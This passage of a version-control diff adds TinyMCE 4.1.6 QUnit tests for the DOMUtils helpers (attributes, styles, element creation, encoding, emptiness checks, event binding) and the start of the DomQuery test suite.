+		DOM.get('test').className = 'abc';
+		ok(DOM.hasClass('test', 'abc'));
+
+		DOM.get('test').className = 'aaa abc';
+		ok(DOM.hasClass('test', 'abc'));
+
+		DOM.get('test').className = 'abc aaa';
+		ok(DOM.hasClass('test', 'abc'));
+
+		DOM.remove('test');
+	});
+
+	test('add', 5, function() {
+		var e;
+
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.add('test', 'span', {'class' : 'abc 123'}, 'content <b>abc</b>');
+		e = DOM.get('test').getElementsByTagName('span')[0];
+		equal(e.className, 'abc 123');
+		equal(e.innerHTML.toLowerCase(), 'content <b>abc</b>');
+		DOM.remove(e);
+
+		DOM.add('test', 'span', {'class' : 'abc 123'});
+		e = DOM.get('test').getElementsByTagName('span')[0];
+		equal(e.className, 'abc 123');
+		DOM.remove(e);
+
+		DOM.add('test', 'span');
+		e = DOM.get('test').getElementsByTagName('span')[0];
+		equal(e.nodeName, 'SPAN');
+		DOM.remove(e);
+
+		DOM.get('test').innerHTML = '<span id="test2"></span><span id="test3"></span><span id="test4"></span>';
+		DOM.add(['test2', 'test3', 'test4'], 'span', {'class' : 'abc 123'});
+		equal(DOM.select('span', 'test').length, 6);
+
+		DOM.remove('test');
+	});
+
+	test('create', 3, function() {
+		var e;
+
+		e = DOM.create('span', {'class' : 'abc 123'}, 'content <b>abc</b>');
+
+		equal(e.nodeName, 'SPAN');
+		equal(e.className, 'abc 123');
+		equal(e.innerHTML.toLowerCase(), 'content <b>abc</b>');
+	});
+
+	test('createHTML', 5, function() {
+		equal(DOM.createHTML('span', {'id': 'id1', 'class': 'abc 123'}, 'content <b>abc</b>'), '<span id="id1" class="abc 123">content <b>abc</b></span>');
+		equal(DOM.createHTML('span', {'id': 'id1', 'class': 'abc 123'}), '<span id="id1" class="abc 123" />');
+		equal(DOM.createHTML('span', {'id': null, 'class': undefined}), '<span />');
+		equal(DOM.createHTML('span'), '<span />');
+		equal(DOM.createHTML('span', null, 'content <b>abc</b>'), '<span>content <b>abc</b></span>');
+	});
+
+	test('uniqueId', 3, function() {
+		DOM.counter = 0;
+
+		equal(DOM.uniqueId(), 'mce_0');
+		equal(DOM.uniqueId(), 'mce_1');
+		equal(DOM.uniqueId(), 'mce_2');
+	});
+
+	test('showHide', function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.show('test');
+		equal(DOM.get('test').style.display, '');
+		ok(!DOM.isHidden('test'));
+
+		DOM.hide('test');
+		equal(DOM.get('test').style.display, 'none');
+		ok(DOM.isHidden('test'));
+
+		// Cleanup
+		DOM.setAttrib('test', 'style', '');
+
+		DOM.remove('test');
+	});
+
+	test('select', 4, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setHTML('test', '<div>test 1</div><div>test 2 <div>test 3</div></div><div>test 4</div>');
+		equal(DOM.select('div', 'test').length, 4);
+		ok(DOM.select('div', 'test').reverse);
+
+		DOM.setHTML('test', '<div class="test1 test2 test3">test 1</div><div class="test2">test 2 <div>test 3</div></div><div>test 4</div>');
+		equal(DOM.select('div.test2', 'test').length, 2);
+
+		DOM.setHTML('test', '<div class="test1 test2 test3">test 1</div><div class="test2">test 2 <div>test 3</div></div><div>test 4</div>');
+		equal(DOM.select('div div', 'test').length, 1, null, tinymce.isWebKit); // Issue: http://bugs.webkit.org/show_bug.cgi?id=17461
+		//alert(DOM.select('div div', 'test').length +","+DOM.get('test').querySelectorAll('div div').length);
+
+		DOM.remove('test');
+	});
+
+	test('is', 3, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+		DOM.setHTML('test', '<div id="textX" class="test">test 1</div>');
+
+		ok(DOM.is(DOM.get('textX'), 'div'));
+		ok(DOM.is(DOM.get('textX'), 'div#textX.test'));
+		ok(!DOM.is(DOM.get('textX'), 'div#textX2'));
+
+		DOM.remove('test');
+	});
+
+	test('encode', 1, function() {
+		equal(DOM.encode('abc<>"&\'\u00e5\u00e4\u00f6'), 'abc&lt;&gt;&quot;&amp;&#39;\u00e5\u00e4\u00f6');
+	});
+
+	test('setGetAttrib', function() {
+		var dom;
+
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setAttrib('test', 'class', 'test 123');
+		equal(DOM.getAttrib('test', 'class'), 'test 123');
+
+		DOM.setAttrib('test', 'src', 'url');
+		equal(DOM.getAttrib('test', 'src'), 'url');
+		equal(DOM.getAttrib('test', 'data-mce-src'), 'url');
+		equal(DOM.getAttrib('test', 'abc'), '');
+
+		DOM.setAttribs('test', {'class' : '123', title : 'abc'});
+		equal(DOM.getAttrib('test', 'class'), '123');
+		equal(DOM.getAttrib('test', 'title'), 'abc');
+
+		DOM.setAttribs('test');
+		equal(DOM.getAttrib('test', 'class'), '123');
+		equal(DOM.getAttrib('test', 'title'), 'abc');
+
+		dom = new tinymce.dom.DOMUtils(document, {keep_values : true, url_converter : function(u, n) {
+			return '&<>"' + u + '&<>"' + n;
+		}});
+
+		dom.setAttribs('test', {src : '123', href : 'abc'});
+		equal(DOM.getAttrib('test', 'src'), '&<>"123&<>"src');
+		equal(DOM.getAttrib('test', 'href'), '&<>"abc&<>"href');
+
+		equal(DOM.getAttrib(document, 'test'), false);
+		equal(DOM.getAttrib(document, 'test', ''), '');
+		equal(DOM.getAttrib(document, 'test', 'x'), 'x');
+
+		DOM.remove('test');
+	});
+
+	test('setGetAttrib on null', function() {
+		strictEqual(DOM.getAttrib(null, 'test'), '');
+		DOM.setAttrib(null, 'test');
+	});
+
+	test('getAttribs', 2, function() {
+		function check(obj, val) {
+			var count = 0;
+
+			val = val.split(',');
+
+			tinymce.each(obj, function(o) {
+				if (tinymce.inArray(val, o.nodeName.toLowerCase()) != -1 && o.specified) {
+					count++;
+				}
+			});
+
+			return count == obj.length;
+		}
+
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').innerHTML = '<span id="test2" class="test"></span>';
+		ok(check(DOM.getAttribs('test2'), 'id,class'));
+
+		DOM.get('test').innerHTML = '<input id="test2" type="checkbox" name="test" value="1" disabled readonly checked></span>';
+		ok(check(DOM.getAttribs('test2'), 'id,type,name,value,disabled,readonly,checked'), 'Expected attributed: type,name,disabled,readonly,checked');
+
+		DOM.remove('test');
+	});
+
+	test('setGetStyles', function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setStyle('test', 'font-size', '20px');
+		equal(DOM.getStyle('test', 'font-size'), '20px');
+
+		DOM.setStyle('test', 'fontSize', '21px');
+		equal(DOM.getStyle('test', 'fontSize'), '21px');
+
+		DOM.setStyles('test', {fontSize : '22px', display : 'inline'});
+		equal(DOM.getStyle('test', 'fontSize'), '22px');
+		equal(DOM.getStyle('test', 'display'), 'inline');
+
+		DOM.setStyle('test', 'fontSize', 23);
+		equal(DOM.getStyle('test', 'fontSize'), '23px');
+
+		DOM.setStyle('test', 'fontSize', 23);
+		DOM.setStyle('test', 'fontSize', '');
+		equal(DOM.getStyle('test', 'fontSize'), '');
+
+		DOM.setStyle('test', 'fontSize', 23);
+		DOM.setStyle('test', 'fontSize', null);
+		equal(DOM.getStyle('test', 'fontSize'), '');
+
+		DOM.setAttrib('test', 'style', '');
+		equal(typeof DOM.getStyle(null, 'fontSize'), 'undefined');
+
+		DOM.remove('test');
+	});
+
+	test('getPos', 2, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setStyles('test', {position : 'absolute', left : 100, top : 110});
+		equal(DOM.getPos('test').x, 100);
+		equal(DOM.getPos('test').y, 110);
+
+		DOM.setAttrib('test', 'style', '');
+
+		DOM.remove('test');
+	});
+
+	test('getParent', 6, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').innerHTML = '<div><span>ab<a id="test2" href="">abc</a>c</span></div>';
+
+		equal(DOM.getParent('test2', function(n) {return n.nodeName == 'SPAN';}).nodeName, 'SPAN');
+		equal(DOM.getParent('test2', function(n) {return n.nodeName == 'BODY';}).nodeName, 'BODY');
+		equal(DOM.getParent('test2', function(n) {return n.nodeName == 'BODY';}, document.body), null);
+		equal(DOM.getParent('test2', function() {return false;}), null);
+		equal(DOM.getParent('test2', 'SPAN').nodeName, 'SPAN');
+		equal(DOM.getParent('test2', 'body', DOM.get('test')), null);
+
+		DOM.get('test').innerHTML = '';
+
+		DOM.remove('test');
+	});
+
+	test('getParents', 4, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+		DOM.get('test').innerHTML = '<div><span class="test">ab<span><a id="test2" href="">abc</a>c</span></span></div>';
+
+		equal(DOM.getParents('test2', function(n) {return n.nodeName == 'SPAN';}).length, 2);
+		equal(DOM.getParents('test2', 'span').length, 2);
+		equal(DOM.getParents('test2', 'span.test').length, 1);
+		equal(DOM.getParents('test2', 'body', DOM.get('test')).length, 0);
+
+		DOM.remove('test');
+	});
+
+	test('is', 2, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+		DOM.get('test').innerHTML = '<div><span class="test">ab<span><a id="test2" href="">abc</a>c</span></span></div>';
+
+		ok(DOM.is(DOM.select('span', 'test'), 'span'));
+		ok(DOM.is(DOM.select('#test2', 'test'), '#test2'));
+
+		DOM.remove('test');
+	});
+
+	test('getViewPort', 4, function() {
+		var wp;
+
+		wp = DOM.getViewPort();
+		equal(wp.x, 0);
+		equal(wp.y, 0);
+		ok(wp.w > 0);
+		ok(wp.h > 0);
+	});
+
+	test('getRect', 5, function() {
+		var r;
+
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setStyles('test', {position : 'absolute', left : 100, top : 110, width : 320, height : 240});
+		r = DOM.getRect('test');
+		equal(r.x, 100);
+		equal(r.y, 110);
+		equal(r.w, 320);
+		equal(r.h, 240);
+
+		DOM.setAttrib('test', 'style', '');
+
+		DOM.get('test').innerHTML = '<div style="width:320px;height:240px"><div id="test2" style="width:50%;height:240px"></div></div>';
+		r = DOM.getRect('test2');
+		equal(r.w, 160);
+
+		DOM.remove('test');
+	});
+
+	test('getSize', 2, function() {
+		var r;
+
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').innerHTML = '<div style="width:320px;height:240px"><div id="test2" style="width:50%;height:240px"></div></div>';
+		r = DOM.getSize('test2');
+		equal(r.w, 160);
+
+		DOM.get('test').innerHTML = '<div style="width:320px;height:240px"><div id="test2" style="width:100px;height:240px"></div></div>';
+		r = DOM.getSize('test2');
+		equal(r.w, 100);
+
+		DOM.remove('test');
+	});
+
+	test('getNext', 5, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').innerHTML = '<strong>A</strong><span>B</span><em>C</em>';
+		equal(DOM.getNext(DOM.get('test').firstChild, '*').nodeName, 'SPAN');
+		equal(DOM.getNext(DOM.get('test').firstChild, 'em').nodeName, 'EM');
+		equal(DOM.getNext(DOM.get('test').firstChild, 'div'), null);
+		equal(DOM.getNext(null, 'div'), null);
+		equal(DOM.getNext(DOM.get('test').firstChild, function(n) {return n.nodeName == 'EM';}).nodeName, 'EM');
+
+		DOM.remove('test');
+	});
+
+	test('getPrev', 5, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.get('test').innerHTML = '<strong>A</strong><span>B</span><em>C</em>';
+		equal(DOM.getPrev(DOM.get('test').lastChild, '*').nodeName, 'SPAN');
+		equal(DOM.getPrev(DOM.get('test').lastChild, 'strong').nodeName, 'STRONG');
+		equal(DOM.getPrev(DOM.get('test').lastChild, 'div'), null);
+		equal(DOM.getPrev(null, 'div'), null);
+		equal(DOM.getPrev(DOM.get('test').lastChild, function(n) {return n.nodeName == 'STRONG';}).nodeName, 'STRONG');
+
+		DOM.remove('test');
+	});
+
+	test('loadCSS', 1, function() {
+		var c = 0;
+
+		DOM.loadCSS('tinymce/dom/test.css?a=1,tinymce/dom/test.css?a=2,tinymce/dom/test.css?a=3');
+
+		tinymce.each(document.getElementsByTagName('link'), function(n) {
+			if (n.href.indexOf('test.css?a=') != -1) {
+				c++;
+			}
+		});
+
+		equal(c, 3, null, tinymce.isOpera);
+	});
+
+	test('insertAfter', 2, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setHTML('test', '<span id="test2"></span>');
+		DOM.insertAfter(DOM.create('br'), 'test2');
+		equal(DOM.get('test2').nextSibling.nodeName, 'BR');
+
+		DOM.setHTML('test', '<span>test</span><span id="test2"></span><span>test</span>');
+		DOM.insertAfter(DOM.create('br'), 'test2');
+		equal(DOM.get('test2').nextSibling.nodeName, 'BR');
+
+		DOM.remove('test');
+	});
+
+	test('isBlock', 4, function() {
+		ok(DOM.isBlock(DOM.create('div')));
+		ok(DOM.isBlock('DIV'));
+		ok(!DOM.isBlock('SPAN'));
+		ok(DOM.isBlock('div'));
+	});
+
+	test('remove', 2, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		DOM.remove('test2', 1);
+		equal(DOM.get('test').innerHTML.toLowerCase(), '<span>test</span><span>test2</span>');
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		equal(DOM.remove('test2').nodeName, 'SPAN');
+
+		DOM.remove('test');
+	});
+
+	test('replace', 2, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		DOM.replace(DOM.create('div', {id : 'test2'}), 'test2', 1);
+		equal(DOM.get('test2').innerHTML.toLowerCase(), '<span>test</span><span>test2</span>');
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		DOM.replace(DOM.create('div', {id : 'test2'}), 'test2');
+		equal(DOM.get('test2').innerHTML, '');
+
+		DOM.remove('test');
+	});
+
+	test('toHex', 5, function() {
+		equal(DOM.toHex('rgb(0, 255, 255)'), '#00ffff');
+		equal(DOM.toHex('rgb(255, 0, 0)'), '#ff0000');
+		equal(DOM.toHex('rgb(0, 0, 255)'), '#0000ff');
+		equal(DOM.toHex('rgb  (  0  , 0  , 255  )  '), '#0000ff');
+		equal(DOM.toHex('   RGB  (  0  , 0  , 255  )  '), '#0000ff');
+	});
+
+	test('getOuterHTML', 4, function() {
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		equal(DOM.getOuterHTML('test2').toLowerCase().replace(/\"/g, ''), '<span id=test2><span>test</span><span>test2</span></span>');
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		DOM.setOuterHTML('test2', '<div id="test2">123</div>');
+		equal(tinymce.trim(DOM.getOuterHTML('test2') || '').toLowerCase().replace(/\"/g, ''), '<div id=test2>123</div>');
+
+		DOM.setHTML('test', '<span id="test2"><span>test</span><span>test2</span></span>');
+		DOM.setOuterHTML('test2', '<div id="test2">123</div><div id="test3">abc</div>');
+		equal(tinymce.trim(DOM.get('test').innerHTML).toLowerCase().replace(/>\s+</g, '><').replace(/\"/g, ''), '<div id=test2>123</div><div id=test3>abc</div>');
+
+		DOM.setHTML('test', 'test');
+		equal(tinymce.trim(DOM.getOuterHTML(DOM.get('test').firstChild)), 'test');
+
+		DOM.remove('test');
+	});
+
+	test('encodeDecode', 2, function() {
+		equal(DOM.encode('\u00e5\u00e4\u00f6&<>"'), '\u00e5\u00e4\u00f6&amp;&lt;&gt;&quot;');
+		equal(DOM.decode('&aring;&auml;&ouml;&amp;&lt;&gt;&quot;'), '\u00e5\u00e4\u00f6&<>"');
+	});
+
+	test('split', 2, function() {
+		var point, parent;
+		DOM.add(document.body, 'div', {id : 'test'});
+
+		DOM.setHTML('test', '<p><b>text1<span>inner</span>text2</b></p>');
+		parent = DOM.select('p', DOM.get('test'))[0];
+		point = DOM.select('span', DOM.get('test'))[0];
+		DOM.split(parent, point);
+		equal(DOM.get('test').innerHTML.toLowerCase().replace(/\s+/g, ''), '<p><b>text1</b></p><span>inner</span><p><b>text2</b></p>');
+
+		DOM.setHTML('test', '<ul><li>first line<br><ul><li><span>second</span> <span>line</span></li><li>third line<br></li></ul></li></ul>');
+		parent = DOM.select('li:nth-child(1)', DOM.get('test'))[0];
+		point = DOM.select('ul li:nth-child(2)', DOM.get('test'))[0];
+		DOM.split(parent, point);
+		equal(Utils.cleanHtml(DOM.get('test').innerHTML), '<ul><li>first line<br><ul><li><span>second</span> <span>line</span></li></ul></li><li>third line<br></li></ul>');
+
+		DOM.remove('test');
+	});
+
+	test('nodeIndex', 5, function() {
+		DOM.add(document.body, 'div', {id : 'test'}, 'abc<b>abc</b>abc');
+
+		equal(DOM.nodeIndex(DOM.get('test').childNodes[0]), 0, 'Index of first child.');
+		equal(DOM.nodeIndex(DOM.get('test').childNodes[1]), 1, 'Index of second child.');
+		equal(DOM.nodeIndex(DOM.get('test').childNodes[2]), 2, 'Index of third child.');
+
+		DOM.get('test').insertBefore(DOM.doc.createTextNode('a'), DOM.get('test').firstChild);
+		DOM.get('test').insertBefore(DOM.doc.createTextNode('b'), DOM.get('test').firstChild);
+
+		equal(DOM.nodeIndex(DOM.get('test').lastChild), 4, 'Index of last child with fragmented DOM.');
+		equal(DOM.nodeIndex(DOM.get('test').lastChild, true), 2, 'Normalized index of last child with fragmented DOM.');
+
+		DOM.remove('test');
+	});
+
+	test('isEmpty', 14, function() {
+		DOM.schema = new tinymce.html.Schema(); // A schema will be added when used within a editor instance
+		DOM.add(document.body, 'div', {id : 'test'}, '');
+
+		ok(DOM.isEmpty(DOM.get('test')), 'No children');
+
+		DOM.setHTML('test', '<br />');
+		ok(DOM.isEmpty(DOM.get('test')), 'Br child');
+
+		DOM.setHTML('test', '<br /><br />');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Br children');
+
+		DOM.setHTML('test', 'text');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Text child');
+
+		DOM.setHTML('test', '<span>text</span>');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Text child in span');
+
+		DOM.setHTML('test', '<span></span>');
+		ok(DOM.isEmpty(DOM.get('test')), 'Empty span child');
+
+		DOM.setHTML('test', '<div><span><b></b></span><b></b><em></em></div>');
+		ok(DOM.isEmpty(DOM.get('test')), 'Empty complex HTML');
+
+		DOM.setHTML('test', '<div><span><b></b></span><b></b><em>X</em></div>');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Non empty complex HTML');
+
+		DOM.setHTML('test', '<div><span><b></b></span><b></b><em> </em></div>');
+		ok(DOM.isEmpty(DOM.get('test')), 'Non empty complex HTML with space');
+
+		DOM.setHTML('test', '<div><span><b></b></span><b></b><em><a name="x"></a></em></div>');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Non empty complex HTML with achor name');
+
+		DOM.setHTML('test', '<img src="tinymce/ui/img/raster.gif">');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Non empty html with img element');
+
+		DOM.setHTML('test', '<span data-mce-bookmark="1"></span>');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Span with bookmark attribute.');
+
+		DOM.setHTML('test', '<span data-mce-style="color:Red"></span>');
+		ok(DOM.isEmpty(DOM.get('test')), 'Span with data-mce attribute.');
+
+		DOM.setHTML('test', '<div><!-- comment --></div>');
+		ok(!DOM.isEmpty(DOM.get('test')), 'Element with comment.');
+
+		DOM.remove('test');
+	});
+
+	test('isEmpty with list of elements considered non-empty', function() {
+		var elm = DOM.create('p', null, '<img>');
+		equal(false, DOM.isEmpty(elm, {img: true}));
+	});
+
+	test('isEmpty with list of elements considered non-empty without schema', function() {
+		var domWithoutSchema = new tinymce.dom.DOMUtils(document, {keep_values: true});
+
+		var elm = domWithoutSchema.create('p', null, '<img>');
+		equal(false, domWithoutSchema.isEmpty(elm, {img: true}));
+	});
+
+	test('isEmpty on P with BR in EM', function() {
+		var elm = DOM.create('p', null, '<em><br></em>');
+		ok(DOM.isEmpty(elm, 'No children'));
+	});
+	
+	test('isEmpty on P with two BR in EM', function() {
+		var elm = DOM.create('p', null, '<em><br><br></em>');
+		equal(false, DOM.isEmpty(elm));
+	});
+
+	test('bind/unbind/fire', function() {
+		var count = 0;
+
+		DOM.bind(document, 'click', function() {count++;});
+		DOM.fire(document, 'click');
+		DOM.unbind(document, 'click');
+		equal(count, 1);
+
+		count = 0;
+		DOM.bind([document, window], 'click', function(e) {e.stopPropagation(); count++;});
+		DOM.fire(document, 'click');
+		DOM.fire(window, 'click');
+		DOM.unbind([document, window], 'click');
+		equal(count, 2);
+
+		count = 0;
+		DOM.fire(document, 'click');
+		DOM.fire(window, 'click');
+		equal(count, 0);
+	});
+
+	DOM.remove('test');
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/DomQuery.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/DomQuery.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/DomQuery.js	(revision 33402)
@@ -0,0 +1,1032 @@
+(function() {
+	var $elm;
+
+	module("tinymce.dom.DomQuery", {
+		teardown: function() {
+			if ($elm) {
+				$elm.off();
+				$elm = null;
+			}
+
+			document.getElementById('view').innerHTML = '';
+		}
+	});
+
+	function normalizeParentNode(parentNode) {
+		// IE 8 will return a document fragment as it's parent when nodes are removed
+		if (parentNode && parentNode.nodeType == 11) {
+			return null;
+		}
+
+		return parentNode;
+	}
+
+	function normalizeStyleValue(value) {
+		if (typeof value == 'string') {
+			return value.toLowerCase().replace(/\s+/g, ' ').replace(/;\s*$/, '');
+		}
+
+		return value;
+	}
+
+	function splitAtView(nodes) {
+		nodes.each(function(i) {
+			if (this.id == 'view') {
+				nodes = nodes.slice(0, i);
+				return false;
+			}
+		});
+
+		return nodes;
+	}
+
+	function addTests(prefix, $) {
+		test(prefix + 'Constructor HTML', function() {
+			var $html;
+
+			$html = $('<b>a</b><i>b</i>');
+			equal($html.length, 2);
+			equal($html[0].tagName, 'B');
+			equal($html[1].tagName, 'I');
+		});
+
+		test(prefix + 'Constructor HTML with attributes', function() {
+			var $html;
+
+			$html = $('<b>', {id: 'id', title: 'title'});
+			equal($html.length, 1);
+			equal($html[0].tagName, 'B');
+			equal($html[0].getAttribute('id'), 'id');
+			equal($html[0].getAttribute('title'), 'title');
+		});
+
+		test(prefix + 'Constructor selector', function() {
+			var $selector;
+
+			$selector = $('#view');
+			equal($selector.length, 1);
+			equal($selector.selector, '#view');
+			strictEqual($selector.context, document);
+		});
+
+		test(prefix + 'Constructor selector and context', function() {
+			var $selector;
+
+			$selector = $('#view', document);
+			equal($selector.length, 1);
+			equal($selector.selector, '#view');
+			strictEqual($selector.context, document);
+		});
+
+		test(prefix + 'Constructor selector and context', function() {
+			var $selector;
+
+			$('#view').html('<div><b>a</b></div><div><b>b</b></div>');
+			$('b', $('#view div')[0]).html('x');
+			equal($('#view').html().toLowerCase().replace(/[\r\n]/g, ''), '<div><b>x</b></div><div><b>b</b></div>');
+		});
+
+		test(prefix + 'Constructor array', function() {
+			var $html;
+
+			$html = $([document.getElementById('view'), document.body]);
+			equal($html.length, 2);
+			equal($html[0].tagName, 'DIV');
+			equal($html[1].tagName, 'BODY');
+		});
+
+		test(prefix + 'Constructor query instance', function() {
+			var $clone;
+
+			$clone = $($('#view'));
+			equal($clone.length, 1);
+			equal($clone[0].tagName, 'DIV');
+		});
+
+		test(prefix + 'Constructor window', function() {
+			var $win;
+
+			$win = $(window);
+			equal($win.length, 1);
+			strictEqual($win[0], window);
+		});
+
+		test(prefix + 'Constructor window', function() {
+			var $elm;
+
+			$elm = $(document.body);
+			equal($elm.length, 1);
+			strictEqual($elm[0], document.body);
+		});
+
+		test(prefix + 'static extend()', function() {
+			var data;
+
+			deepEqual($.extend({a: 1, b: 1}, {b: 2, c: 2}), {a: 1, b: 2, c: 2});
+			deepEqual($.extend({a: 1, b: 1}, {b: 2, c: 2}, {c: 3, d: 3}), {a: 1, b: 2, c: 3, d: 3});
+
+			data = {a: 1, b: 1};
+			ok(data === $.extend(data, {b: 2, c: 2}, {c: 3, d: 3}), {a: 1, b: 2, c: 3, d: 3});
+		});
+
+		test(prefix + 'static makeArray()', function() {
+			strictEqual($.makeArray(window)[0], window);
+			deepEqual($.makeArray({'0': 'a', '1': 'b', length: 2}), ['a', 'b']);
+		});
+
+		test(prefix + 'static inArray()', function() {
+			deepEqual($.inArray(1, [1, 2]), 0);
+			deepEqual($.inArray(2, [1, 2]), 1);
+			deepEqual($.inArray(3, [1, 2]), -1);
+		});
+
+		test(prefix + 'static grep()', function() {
+			deepEqual($.grep([1, 2, 3], function(v) {return v > 1;}), [2, 3]);
+		});
+
+		test(prefix + 'static isArray()', function() {
+			ok($.isArray([]));
+			ok(!$.isArray({}));
+		});
+
+		test(prefix + 'static each()', function() {
+			var data;
+
+			data = '';
+			$.each([1, 2, 3], function(key, value) {
+				data += '' + value + key;
+			});
+
+			equal(data, '102132');
+
+			data = '';
+			$.each({a: 1, b: 2, c: 3}, function(key, value) {
+				data += '' + value + key;
+			});
+
+			equal(data, '1a2b3c');
+
+			data = '';
+			$.each([1, 2, 3], function(key, value) {
+				data += '' + value + key;
+
+				if (value == 2) {
+					return false;
+				}
+			});
+
+			equal(data, '1021');
+		});
+
+		test(prefix + 'static trim()', function() {
+			equal($.trim(' a '), 'a');
+			equal($.trim('a '), 'a');
+			equal($.trim(' a'), 'a');
+		});
+
+		test(prefix + 'static unique()', function() {
+			var nodes;
+
+			nodes = $.unique([document.getElementById('view'), document.getElementById('view'), document.body]);
+			equal(nodes.length, 2);
+			equal(nodes[0].tagName, 'BODY');
+			equal(nodes[1].tagName, 'DIV');
+		});
+
+		test(prefix + 'toArray()', function() {
+			ok($.isArray($('#view').toArray()));
+			equal($('#view').toArray().length, 1);
+		});
+
+		test(prefix + 'add() single element', function() {
+			var $nodes = $('#view').add(document.body);
+			equal($nodes.length, 2);
+			equal($nodes[0].tagName, 'BODY');
+			equal($nodes[1].tagName, 'DIV');
+		});
+
+		test(prefix + 'add() multiple elements (duplicates)', function() {
+			var $nodes = $('#view,#view').add([document.body, document.body]);
+			equal($nodes.length, 2);
+			equal($nodes[0].tagName, 'BODY');
+			equal($nodes[1].tagName, 'DIV');
+		});
+
+		test(prefix + 'add() multiple elements (non duplicates)', function() {
+			var $nodes = $('#view').add([$('<b/>')[0], $('<i/>')[0]]);
+			equal($nodes.length, 3);
+			equal($nodes[0].tagName, 'DIV');
+			equal($nodes[1].tagName, 'B');
+			equal($nodes[2].tagName, 'I');
+		});
+
+		test(prefix + 'add() selector', function() {
+			var $nodes = $().add('#view');
+			equal($nodes.length, 1);
+			equal($nodes[0].tagName, 'DIV');
+		});
+
+		test(prefix + 'attr() set/get attr on element', function() {
+			var $elm;
+
+			$elm = $('<b/>').attr('id', 'x');
+			equal($elm.attr('id'), 'x');
+			equal(typeof $elm.attr('noattr'), 'undefined', 'Undefined attribute shouldn\'t have a value');
+
+			$elm = $('<b/>').attr('attr', null);
+			equal(typeof $elm.attr('attr'), 'undefined', 'Deleted attribute shouldn\'t have a value (1)');
+
+			$elm = $('<b/>').attr('id', 1);
+			strictEqual($elm.attr('id'), '1');
+		});
+
+		test(prefix + 'attr() set/get style attr on element (IE 7)', function() {
+			$elm = $('<b style="font-size: 10px" />').attr('style', 'font-size: 43px');
+			equal(normalizeStyleValue($elm.attr('style')), 'font-size: 43px');
+		});
+
+		test(prefix + 'attr() set/get checked attr on element (IE 7)', function() {
+			$elm = $('<input type="checkbox" />').attr('checked', 'checked');
+			equal($elm.attr('checked').toLowerCase(), 'checked');
+		});
+
+		test(prefix + 'attr() get special attrs on element (IE 7)', function() {
+			$elm = $('<input type="checkbox" />');
+			equal(typeof $elm.attr('maxlength'), 'undefined', 'Undefined maxlength');
+			equal(typeof $elm.attr('size'), 'undefined', 'Undefined size');
+			equal(typeof $elm.attr('checked'), 'undefined', 'Undefined checked');
+			equal(typeof $elm.attr('readonly'), 'undefined', 'Undefined readonly');
+			equal(typeof $elm.attr('disabled'), 'undefined', 'Undefined disabled');
+
+			$elm = $('<input type="text" />');
+			equal(typeof $elm.attr('maxlength'), 'undefined', 'Undefined maxlength');
+			equal(typeof $elm.attr('size'), 'undefined', 'Undefined size');
+			equal(typeof $elm.attr('checked'), 'undefined', 'Undefined checked');
+			equal(typeof $elm.attr('readonly'), 'undefined', 'Undefined readonly');
+			equal(typeof $elm.attr('disabled'), 'undefined', 'Undefined disabled');
+
+			$elm = $('<input type="text" size="11" maxlength="21" disabled="disabled" />');
+			equal($elm.attr('maxlength'), '21', 'maxlength');
+			equal($elm.attr('size'), '11', 'size');
+			equal($elm.attr('disabled'), 'disabled', 'disabled');
+
+			$elm = $('<textarea></textarea>');
+			equal(typeof $elm.attr('maxlength'), 'undefined', 'Undefined maxlength');
+			equal(typeof $elm.attr('size'), 'undefined', 'Undefined size');
+			equal(typeof $elm.attr('checked'), 'undefined', 'Undefined checked');
+			equal(typeof $elm.attr('readonly'), 'undefined', 'Undefined readonly');
+			equal(typeof $elm.attr('disabled'), 'undefined', 'Undefined disabled');
+
+			$elm = $('<textarea readonly="readonly"></textarea>');
+			equal($elm.attr('readonly'), 'readonly', 'readonly');
+		});
+
+		test(prefix + 'attr() set/get attrs on element', function() {
+			var $elm;
+
+			$elm = $('<b/>').attr({id: 'x', title: 'y'});
+			equal($elm.attr('id'), 'x');
+			equal($elm.attr('title'), 'y');
+		});
+
+		test(prefix + 'attr() set/get on non element', function() {
+			var $elm;
+
+			$elm = $([document.createTextNode('x')]).attr('id', 'x');
+			equal(typeof $elm.attr('id'), 'undefined');
+		});
+
+		test(prefix + 'removeAttr() on element', function() {
+			var $elm;
+
+			$elm = $('<b attr="a" />').removeAttr('AttR');
+			equal(typeof $elm.attr('attr'), 'undefined');
+
